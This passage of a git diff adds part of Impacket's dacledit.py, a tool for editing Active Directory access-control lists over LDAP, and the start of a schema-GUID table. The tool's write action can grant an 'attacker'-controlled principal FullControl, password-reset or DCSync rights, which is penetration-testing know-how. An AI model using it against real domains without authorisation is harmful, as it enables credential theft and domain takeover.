_ace_flags.append(FLAG.name) + parsed_ace['ACE flags'] = ", ".join(_ace_flags) or "None" + parsed_ace['DEBUG'] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute" + return parsed_ace + + + # Prints a full DACL by printing each parsed ACE + # - parsed_dacl : a parsed DACL from parseDACL() + def printparsedDACL(self, parsed_dacl): + # Attempts to retrieve the principal's SID if it's a write action + if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: + if self.principal_sAMAccountName is not None: + _lookedup_principal = self.principal_sAMAccountName + self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) + elif self.principal_DN is not None: + _lookedup_principal = self.principal_DN + self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) + try: + self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + except IndexError: + logging.error('Principal not found in LDAP (%s)' % _lookedup_principal) + return False + logging.debug("Found principal SID to write in ACE(s): %s" % self.principal_SID) + + logging.info("Printing parsed DACL") + i = 0 + # If a principal has been specified, only the ACE where he is the trustee will be printed + if self.principal_SID is not None: + logging.info("Filtering results for SID (%s)" % self.principal_SID) + for parsed_ace in parsed_dacl: + print_ace = True + if self.principal_SID is not None: + try: + if self.principal_SID not in parsed_ace['Trustee (SID)']: + print_ace = False + except Exception as e: + logging.error("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e) + if print_ace: + logging.info(" %-28s" % "ACE[%d] info" % i) + self.printparsedACE(parsed_ace) + i += 1 + + + # Prints properly a parsed ACE + # - parsed_ace : a parsed ACE from parseACE() + def printparsedACE(self, parsed_ace): + elements_name = list(parsed_ace.keys()) + for attribute in elements_name: + logging.info(" %-26s: %s" % (attribute, parsed_ace[attribute])) + + + # Retrieves the GUIDs for the specified rights + def build_guids_for_rights(self): + _rights_guids = [] + if self.rights_guid is not None: + _rights_guids = [self.rights_guid] + elif self.rights == "WriteMembers": + _rights_guids = [RIGHTS_GUID.WriteMembers.value] + elif self.rights == "ResetPassword": + _rights_guids = [RIGHTS_GUID.ResetPassword.value] + elif self.rights == "DCSync": + _rights_guids = [RIGHTS_GUID.DS_Replication_Get_Changes.value, RIGHTS_GUID.DS_Replication_Get_Changes_All.value] + logging.debug('Built GUID: %s', _rights_guids) + return _rights_guids + + + # Attempts to push the locally built DACL to the remote server into the security descriptor of the specified principal + # The target principal is specified with its Distinguished Name + # - dn : the principal's Distinguished Name to modify + # - secDesc : the Security Descriptor with the new DACL to push + def modify_secDesc_for_dn(self, dn, secDesc): + data = secDesc.getData() + controls = security_descriptor_control(sdflags=0x04) + logging.debug('Attempts to modify the Security Descriptor.') + self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) + if self.ldap_session.result['result'] == 0: + logging.info('DACL modified successfully!') + else: + if self.ldap_session.result['result'] == 50: + logging.error('Could not modify object, the server reports insufficient rights: %s', + self.ldap_session.result['message']) + elif self.ldap_session.result['result'] == 19: + logging.error('Could not modify object, the server reports a constrained violation: %s', + self.ldap_session.result['message']) + else: + logging.error('The server returned an error: %s', self.ldap_session.result['message']) + + + # Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/72e7c7ea-bc02-4c74-a619-818a16bf6adb + # - access_mask : the allowed access mask + # - sid : the principal's SID + # - ace_type : the ACE type (allowed or denied) + def create_ace(self, access_mask, sid, ace_type): + nace = ldaptypes.ACE() + if ace_type == "allowed": + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_ALLOWED_ACE() + else: + nace['AceType'] = ldaptypes.ACCESS_DENIED_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_DENIED_ACE() + if self.inheritance: + nace['AceFlags'] = ldaptypes.ACE.OBJECT_INHERIT_ACE + ldaptypes.ACE.CONTAINER_INHERIT_ACE + else: + nace['AceFlags'] = 0x00 + acedata['Mask'] = ldaptypes.ACCESS_MASK() + acedata['Mask']['Mask'] = access_mask + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + nace['Ace'] = acedata + logging.debug('ACE created.') + return nace + + + # Builds an object-specific for a specified ObjectType (an extended right, a property, etc, to add) for a specified SID (the principal who obtains the right) + # The Mask is "ADS_RIGHT_DS_CONTROL_ACCESS" (the ObjectType GUID will identify an extended access right) + # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe + # - privguid : the ObjectType (an Extended Right here) + # - sid : the principal's SID + # - ace_type : the ACE type (allowed or denied) + def create_object_ace(self, privguid, sid, ace_type): + nace = ldaptypes.ACE() + if ace_type == "allowed": + nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() + else: + nace['AceType'] = ldaptypes.ACCESS_DENIED_OBJECT_ACE.ACE_TYPE + acedata = ldaptypes.ACCESS_DENIED_OBJECT_ACE() + if self.inheritance: + nace['AceFlags'] = ldaptypes.ACE.OBJECT_INHERIT_ACE + ldaptypes.ACE.CONTAINER_INHERIT_ACE + else: + nace['AceFlags'] = 0x00 + acedata['Mask'] = ldaptypes.ACCESS_MASK() + # WriteMembers not an extended right, we need read and write mask on the attribute (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dtyp/c79a383c-2b3f-4655-abe7-dcbb7ce0cfbe) + if privguid == RIGHTS_GUID.WriteMembers.value: + acedata['Mask'][ + 'Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_READ_PROP + ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP + # Other rights in this script are extended rights and need the DS_CONTROL_ACCESS mask + else: + acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS + acedata['ObjectType'] = string_to_bin(privguid) + acedata['InheritedObjectType'] = b'' + acedata['Sid'] = ldaptypes.LDAP_SID() + acedata['Sid'].fromCanonical(sid) + assert sid == acedata['Sid'].formatCanonical() + # This ACE flag verifes if the ObjectType is valid + acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT + nace['Ace'] = acedata + logging.debug('Object-specific ACE created.') + return nace + + + + +def parse_args(): + parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\'s DACL.') + parser.add_argument('identity', action='store', help='domain.local/username[:password]') + parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') + + auth_con = parser.add_argument_group('authentication & connection') + auth_con.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + auth_con.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') + auth_con.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line') + auth_con.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') + auth_con.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter') + + principal_parser = parser.add_argument_group("principal", description="Object, controlled by the attacker, to reference in the ACE to create or to filter when printing a DACL") + principal_parser.add_argument("-principal", dest="principal_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + principal_parser.add_argument("-principal-sid", dest="principal_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + principal_parser.add_argument("-principal-dn", dest="principal_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + target_parser = parser.add_argument_group("target", description="Principal object to read/edit the DACL of") + target_parser.add_argument("-target", dest="target_sAMAccountName", metavar="NAME", type=str, required=False, help="sAMAccountName") + target_parser.add_argument("-target-sid", dest="target_SID", metavar="SID", type=str, required=False, help="Security IDentifier") + target_parser.add_argument("-target-dn", dest="target_DN", metavar="DN", type=str, required=False, help="Distinguished Name") + + dacl_parser = parser.add_argument_group("dacl editor") + dacl_parser.add_argument('-action', choices=['read', 'write', 'remove', 'backup', 'restore'], nargs='?', default='read', help='Action to operate on the DACL') + dacl_parser.add_argument('-file', dest="filename", type=str, help='Filename/path (optional for -action backup, required for -restore))') + dacl_parser.add_argument('-ace-type', choices=['allowed', 'denied'], nargs='?', default='allowed', help='The ACE Type (access allowed or denied) that must be added or removed (default: allowed)') + dacl_parser.add_argument('-rights', choices=['FullControl', 'ResetPassword', 'WriteMembers', 'DCSync'], nargs='?', default='FullControl', help='Rights to write/remove in the target DACL (default: FullControl)') + dacl_parser.add_argument('-rights-guid', type=str, help='Manual GUID representing the right to write/remove') + dacl_parser.add_argument('-inheritance', action="store_true", help='Enable the inheritance in the ACE flag with CONTAINER_INHERIT_ACE and OBJECT_INHERIT_ACE. Useful when target is a Container or an OU, ' + 'ACE will be inherited by objects within the container/OU (except objects with adminCount=1)') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(1) + + return parser.parse_args() + + +def parse_identity(args): + domain, username, password = utils.parse_credentials(args.identity) + + if domain == '': + logging.critical('Domain should be specified!') + sys.exit(1) + + if password == '' and username != '' and args.hashes is None and args.no_pass is False and args.aesKey is None: + from getpass import getpass + logging.info("No credentials supplied, supply password") + password = getpass("Password:") + + if args.aesKey is not None: + args.k = True + + if args.hashes is not None: + lmhash, nthash = args.hashes.split(':') + else: + lmhash = '' + nthash = '' + + return domain, username, password, lmhash, nthash + + +def init_logger(args): + # Init the example's logger theme and debug level + logger.init(args.ts) + if args.debug is True: + logging.getLogger().setLevel(logging.DEBUG) + # Print the Library's installation path + logging.debug(version.getInstallationPath()) + else: + logging.getLogger().setLevel(logging.INFO) + logging.getLogger('impacket.smbserver').setLevel(logging.ERROR) + + +def get_machine_name(args, domain): + if args.dc_ip is not None: + s = SMBConnection(args.dc_ip, args.dc_ip) + else: + s = SMBConnection(domain, domain) + try: + s.login('', '') + except Exception: + if s.getServerName() == '': + raise Exception('Error while anonymous logging into %s' % domain) + else: + s.logoff() + return s.getServerName() + + +def ldap3_kerberos_login(connection, target, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, + TGT=None, TGS=None, useCache=True): + from pyasn1.codec.ber import encoder, decoder + from pyasn1.type.univ import noValue + """ + logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported. + :param string user: username + :param string password: password for the user + :param string domain: domain where the account is valid for (required) + :param string lmhash: LMHASH used to authenticate using hashes (password is not used) + :param string nthash: NTHASH used to authenticate using hashes (password is not used) + :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication + :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho) + :param struct TGT: If there's a TGT available, send the structure here and it will be used + :param struct TGS: same for TGS. See smb3.py for the format + :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False + :return: True, raises an Exception if error. + """ + + if lmhash != '' or nthash != '': + if len(lmhash) % 2: + lmhash = '0' + lmhash + if len(nthash) % 2: + nthash = '0' + nthash + try: # just in case they were converted already + lmhash = unhexlify(lmhash) + nthash = unhexlify(nthash) + except TypeError: + pass + + # Importing down here so pyasn1 is not required if kerberos is not used. + from impacket.krb5.ccache import CCache + from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set + from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS + from impacket.krb5 import constants + from impacket.krb5.types import Principal, KerberosTime, Ticket + import datetime + + if TGT is not None or TGS is not None: + useCache = False + + target = 'ldap/%s' % target + if useCache: + domain, user, TGT, TGS = CCache.parseFile(domain, user, target) + + # First of all, we need to get a TGT for the user + userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) + if TGT is None: + if TGS is None: + tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, + aesKey, kdcHost) + else: + tgt = TGT['KDC_REP'] + cipher = TGT['cipher'] + sessionKey = TGT['sessionKey'] + + if TGS is None: + serverName = Principal(target, type=constants.PrincipalNameType.NT_SRV_INST.value) + tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, + sessionKey) + else: + tgs = TGS['KDC_REP'] + cipher = TGS['cipher'] + sessionKey = TGS['sessionKey'] + + # Let's build a NegTokenInit with a Kerberos REQ_AP + + blob = SPNEGO_NegTokenInit() + + # Kerberos + blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] + + # Let's extract the ticket from the TGS + tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) + + # Now let's build the AP_REQ + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + + opts = [] + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticket.to_asn1) + + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = domain + seq_set(authenticator, 'cname', userName.components_to_asn1) + now = datetime.datetime.utcnow() + + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) + + encodedAuthenticator = encoder.encode(authenticator) + + # Key Usage 11 + # AP-REQ Authenticator (includes application authenticator + # subkey), encrypted with the application session key + # (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) + + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + + blob['MechToken'] = encoder.encode(apReq) + + request = ldap3.operation.bind.bind_operation(connection.version, ldap3.SASL, user, None, 'GSS-SPNEGO', + blob.getData()) + + # Done with the Kerberos saga, now let's get into LDAP + if connection.closed: # try to open connection if closed + connection.open(read_server_info=False) + + connection.sasl_in_progress = True + response = connection.post_send_single_response(connection.send('bindRequest', request, None)) + connection.sasl_in_progress = False + if response[0]['result'] != 0: + raise Exception(response) + + connection.bound = True + + return True + + +def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash): + user = '%s\\%s' % (domain, username) + connect_to = target + if args.dc_ip is not None: + connect_to = args.dc_ip + if tls_version is not None: + use_ssl = True + port = 636 + tls = ldap3.Tls(validate=ssl.CERT_NONE, version=tls_version) + else: + use_ssl = False + port = 389 + tls = None + ldap_server = ldap3.Server(connect_to, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls) + if args.k: + ldap_session = ldap3.Connection(ldap_server) + ldap_session.bind() + ldap3_kerberos_login(ldap_session, target, username, password, domain, lmhash, nthash, args.aesKey, kdcHost=args.dc_ip) + elif args.hashes is not None: + ldap_session = ldap3.Connection(ldap_server, user=user, password=lmhash + ":" + nthash, authentication=ldap3.NTLM, auto_bind=True) + else: + ldap_session = ldap3.Connection(ldap_server, user=user, password=password, authentication=ldap3.NTLM, auto_bind=True) + + return ldap_server, ldap_session + + +def init_ldap_session(args, domain, username, password, lmhash, nthash): + if args.k: + target = get_machine_name(args, domain) + else: + if args.dc_ip is not None: + target = args.dc_ip + else: + target = domain + + if args.use_ldaps is True: + try: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1_2, args, domain, username, password, lmhash, nthash) + except ldap3.core.exceptions.LDAPSocketOpenError: + return init_ldap_connection(target, ssl.PROTOCOL_TLSv1, args, domain, username, password, lmhash, nthash) + else: + return init_ldap_connection(target, None, args, domain, username, password, lmhash, nthash) + + +def main(): + print(version.BANNER) + args = parse_args() + init_logger(args) + + if args.action == 'write' and args.principal_sAMAccountName is None and args.principal_SID is None and args.principal_DN is None: + logging.critical('-principal, -principal-sid, or -principal-dn should be specified when using -action write') + sys.exit(1) + + if args.action == "restore" and not args.filename: + logging.critical('-file is required when using -action restore') + + domain, username, password, lmhash, nthash = parse_identity(args) + if len(nthash) > 0 and lmhash == "": + lmhash = "aad3b435b51404eeaad3b435b51404ee" + + try: + ldap_server, ldap_session = init_ldap_session(args, domain, username, password, lmhash, nthash) + dacledit = DACLedit(ldap_server, ldap_session, args) + if args.action == 'read': + dacledit.read() + elif args.action == 'write': + dacledit.write() + elif args.action == 'remove': + dacledit.remove() + elif args.action == 'flush': + dacledit.flush() + elif args.action == 'backup': + dacledit.backup() + elif args.action == 'restore': + dacledit.restore() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + traceback.print_exc() + logging.error(str(e)) + + +if __name__ == '__main__': + main() diff --git a/impacket/msada_guids.py b/impacket/msada_guids.py new file mode 100644 index 0000000000..0d485fd972 --- /dev/null +++ b/impacket/msada_guids.py @@ -0,0 +1,1877 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Authors: +# Charlie BROMBERG (@_nwodtuhs) +# Guillaume DAUMAS (@BlWasp_) +# Lucien DOUSTALY (@Wlayzz) +# +# References: +# MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID: +# - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f +# - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e +# - [MS-ADA3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada3/4517e835-3ee6-44d4-bb95-a94b6966bfb0 +# GUIDS gathered from (lots of cleaning made from that source, things may be missing): +# - https://www.powershellgallery.com/packages/SDDLParser/0.5.0/Content/SDDLParserADObjects.ps1 +# + +SCHEMA_OBJECTS = { + '2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level', + '2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL', + '963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id', + 'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower', + '29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop', + '963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class', + '1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent', + '2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member', + '4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name', + '7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List', + 'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper', + 'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops', + '5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID', + 'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name', + 'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script', + 'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN', + '9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL', + 'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier', + 'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue', + 'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD', + '26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type', + '6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department', + '96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name', + 'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID', + '34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL', + '1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path', + '5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name', + 'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path', + 'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address', + 'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01', + '5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template', + '83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy', + '5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema', + '5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security', + 'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name', + '96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size', + 'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name', + '3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02', + 'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires', + 'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command', + 'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index', + '9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate', + 'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source', + '70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate', + 'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient', + 'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema', + '2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status', + 'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings', + '9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority', + 'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type', + '54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2', + 'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone', + '031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History', + '1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path', + '98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName', + '9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type', + '2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID', + '41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3', + '2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point', + '7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User', + '2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command', + '20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types', + '18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex', + '281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data', + '5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4', + '39bad96d-c2d6-4baf-88ab-7e4207600117': 'document', + '7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth', + '2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change', + '29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info', + '9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost', + '7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution', + '0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion', + 'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person', + '1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout', + '1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout', + '461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor', + '9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name', + 'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector', + '4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2', + '7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries', + '7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction', + '2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version', + '7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage', + '2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service', + 'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source', + 'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3', + '19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain', + 'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart', + '1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime', + '26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID', + 'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota', + '2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services', + 'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports', + '70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4', + '19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS', + '1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority', + '1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path', + '638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference', + '9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests', + '45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval', + 'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS', + '6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager', + '1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh', + '66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner', + '2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL', + '0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig', + 'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From', + '349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2', + 'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy', + '7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service', + '5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period', + '93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role', + '2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service', + 'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To', + 'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3', + '7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set', + 'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting', + 'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection', + 'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL', + '2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services', + '7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories', + 'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4', + '8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject', + '7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging', + '16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier', + '1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task', + '9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key', + '7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures', + '87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01', + '7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room', + 'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name', + '7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level', + 'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name', + 